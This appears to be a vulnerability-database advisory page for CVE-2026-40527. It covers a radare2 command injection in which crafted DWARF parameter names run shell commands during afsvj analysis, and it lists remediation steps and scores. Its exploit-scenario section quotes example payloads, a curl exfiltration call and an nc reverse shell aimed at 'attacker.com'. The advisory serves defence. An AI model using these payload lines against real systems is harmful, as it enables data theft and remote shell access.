Skip to main content

Radare2 CVE-2026-40527

| EUVDEUVD-2026-23534 HIGH
OS Command Injection (CWE-78)
2026-04-17 VulnCheck GHSA-4pc8-6qgf-fgv2
8.5
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft ELF with malicious DWARF parameter names
  2. Delivery
    Distribute to target analyst
  3. Exploit
    Victim opens binary in radare2
  4. Install
    Victim runs 'aaa' analysis
  5. C2
    Victim executes 'afsvj' command
  6. Execute
    DWARF parser extracts unsanitized names
  7. Impact
    Command injection via pfq interpolation
  8. Step 8
    Arbitrary shell command execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must craft an ELF binary with malicious r2 command sequences embedded in DWARF DW_TAG_formal_parameter name fields. Victim must open this crafted binary in radare2 and execute the specific command sequence: 'aaa' (analyze all functions) followed by 'afsvj' or 'afsv' (analyze function signature view). Exploitation is limited to users who analyze untrusted binaries with DWARF debugging information enabled and actively use radare2's function signature analysis features. Does not affect users who only perform basic disassembly without DWARF parsing or those who strip debug symbols before analysis. The UI:R and PR:N vector indicates no authentication is needed, but user interaction (opening binary and running analysis commands) is mandatory. Exploitation scope is confined to the radare2 process context - no privilege escalation beyond the user's existing permissions.

Impact

Real-world risk is MODERATE despite the 7.8 CVSS score. Attack vector is local (AV:L) requiring the victim to open a malicious binary and execute specific analysis commands (aaa + afsvj), which significantly constrains exploitation scenarios compared to remote vulnerabilities. The UI:R (user interaction required) factor means this is not wormable or mass-exploitable. However, impact is severe (C:H/I:H/A:H) with full shell command execution at the privileges of the radare2 process. Primary risk scenarios: (1) malware analysts examining untrusted binaries in research environments, (2) supply chain attacks where malicious binaries are planted in repositories developers might analyze, (3) targeted attacks against security researchers. Not in CISA KEV suggests no widespread exploitation. Patch is available with exact commit reference (bc5a890), reducing remediation complexity. EPSS score unavailable but likely low given local attack vector and niche target audience. This is a targeted exploitation risk for reverse engineering workflows rather than enterprise-wide threat. Attack complexity is low (AC:L) once the attacker understands radare2's DWARF parsing, but weaponization requires binary crafting knowledge.

Exploit ScenarioDerived

An attacker crafts a malicious ELF binary embedding shell commands (e.g., 'curl attacker.com/exfil?data=$(whoami)' or 'nc -e /bin/sh attacker.com 4444') within DWARF DW_TAG_formal_parameter name fields. A security researcher or malware analyst downloads this binary (disguised as legitimate sample or planted via supply chain compromise) and opens it in radare2. When the analyst runs standard analysis workflow commands 'aaa' (analyze all) followed by 'afsvj' (function signature JSON output), radare2's DWARF parser extracts the malicious parameter names and interpolates them unsanitized into pfq command strings, triggering shell command execution with the analyst's privileges. Publicly available exploit code has not been confirmed, but the VulnCheck advisory provides sufficient technical details for skilled attackers to reproduce.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 17, 2026

Command injection in radare2's DWARF parsing (afsv/afsvj commands) allows local attackers to execute arbitrary shell commands by embedding malicious r2 command sequences in specially crafted ELF binaries. When a user opens the malicious binary and runs analysis commands (aaa followed by afsvj), unsanitized DW_TAG_formal_parameter names are interpolated into pfq command strings, triggering code execution. Fixed in commit bc5a890. EPSS data not available, not in CISA KEV. Publicly disclosed with patch and technical details from VulnCheck.

RemediationAI

Update radare2 to commit bc5a89033db3ecb5b1f7bf681fc6ba4dcfc14683 or later from the official repository at https://github.com/radareorg/radare2. Users can apply the patch directly from pull request 25821 (https://github.com/radareorg/radare2/pull/25821). If immediate patching is not feasible, implement these compensating controls with trade-offs: (1) Avoid running afsv/afsvj commands on untrusted binaries - limits DWARF-based function signature analysis capabilities but prevents exploitation; (2) Strip DWARF sections from binaries before analysis using 'strip --strip-debug' - removes debugging symbols entirely, significantly reducing reverse engineering effectiveness; (3) Run radare2 in sandboxed environments (containers, VMs) with restricted shell access when analyzing untrusted samples - adds operational overhead but contains potential command execution impact; (4) Disable shell command execution features in radare2 configuration if supported - may break legitimate automation workflows that rely on shell integration. The patch itself sanitizes parameter name strings before interpolation into command contexts. No known side effects from the fix.

Affected VersionsENISA

radare2 0 <bc5a89033db3ecb5b1f7bf681fc6ba4dcfc14683

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Radare2 is an open-source reverse engineering framework for binary analysis. This vulnerability exploits the DWARF debugging information parser, specifically how radare2 processes DW_TAG_formal_parameter entries (function parameter metadata) in ELF binaries. The afsv/afsvj commands generate function signature views by reading parameter names from DWARF data and interpolating them into pfq (print formatted query) command strings without proper sanitization. The pfq command appears to support shell command expansion, creating a command injection vector. CWE-78 (OS Command Injection) occurs when external data flows into system command execution contexts without validation. The affected component is radare2's DWARF parser in combination with the function signature analysis subsystem.

Know when Radare2 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 17, 2026 - 21:22 NVD
7.8 (HIGH) 8.5 (HIGH)
Patch released
Apr 17, 2026 - 20:45 nvd
Patch available
CVE Published
Apr 17, 2026 - 20:25 nvd
HIGH 8.5

DescriptionCVE.org

radare2 prior to commit bc5a890 contains a command injection vulnerability in the afsv/afsvj command path where crafted ELF binaries can embed malicious r2 command sequences as DWARF DW_TAG_formal_parameter names. Attackers can craft a binary with shell commands in DWARF parameter names that execute when radare2 analyzes the binary with aaa and subsequently runs afsvj, allowing arbitrary shell command execution through the unsanitized parameter interpolation in the pfq command string.

Executive ViewAI

Why It Matters

CVE-2026-40527 is a command injection vulnerability in radare2's DWARF parsing that allows local attackers to execute arbitrary commands through malicious ELF binaries. Any user who opens a crafted binary and runs standard analysis commands (aaa/afsvj) can be compromised, affecting security researchers, reverse engineers, and development teams relying on radare2 for binary analysis.

Business Impact: Medium
Compensating Controls

Apply vendor patch. If patching is delayed: (1) restrict radare2 analysis to isolated, non-network-connected systems; (2) disable or sandbox radare2 execution in shared development environments; (3) implement file integrity monitoring on systems running radare2; (4) require security review of ELF binaries before analysis in trusted tools.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Social Media
2
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
Medium
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2023-46570 CRITICAL POC
9.8 Oct 28

An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32 function of libr/arch/p/nds32/nds32-dis.h

CVE-2023-46569 CRITICAL POC
9.8 Oct 28

An out-of-bounds read in radare2 v.5.8.9 and before exists in the print_insn32_fpu function of libr/arch/p/nds32/nds32-d

CVE-2023-4322 CRITICAL POC
9.8 Aug 14

Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated critical severity (CVSS 9.8), th

CVE-2026-6942 CRITICAL POC
9.3 Apr 23

OS command injection in radare2-mcp (the Model Context Protocol server that bridges the radare2 reverse-engineering fram

CVE-2022-1899 CRITICAL POC
9.1 May 26

Out-of-bounds Read in GitHub repository radareorg/radare2 prior to 5.7.0. Rated critical severity (CVSS 9.1), this vulne

CVE-2022-1297 CRITICAL POC
9.1 Apr 11

Out-of-bounds Read in r_bin_ne_get_entrypoints function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated cri

CVE-2022-1296 CRITICAL POC
9.1 Apr 11

Out-of-bounds read in `r_bin_ne_get_relocs` function in GitHub repository radareorg/radare2 prior to 5.6.8. Rated critic

CVE-2023-5686 HIGH POC
8.8 Oct 20

Heap-based Buffer Overflow in GitHub repository radareorg/radare2 prior to 5.9.0. Rated high severity (CVSS 8.8), this v

CVE-2026-40499 HIGH POC
8.4 Apr 15

Command injection in radare2's PDB parser (versions <6.1.4) enables arbitrary command execution when analysts process ma

CVE-2026-40517 HIGH POC
8.4 Apr 22

Command injection in radare2 PDB parser (versions before 6.1.4) enables arbitrary OS command execution when users analyz

CVE-2017-16357 HIGH POC
7.8 Nov 01

In radare 2.0.1, a memory corruption vulnerability exists in store_versioninfo_gnu_verdef() and store_versioninfo_gnu_ve

CVE-2017-15932 HIGH POC
7.8 Oct 27

In radare2 2.0.1, an integer exception (negative number leading to an invalid memory access) exists in store_versioninfo

Vendor StatusVendor

SUSE

Severity: High

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy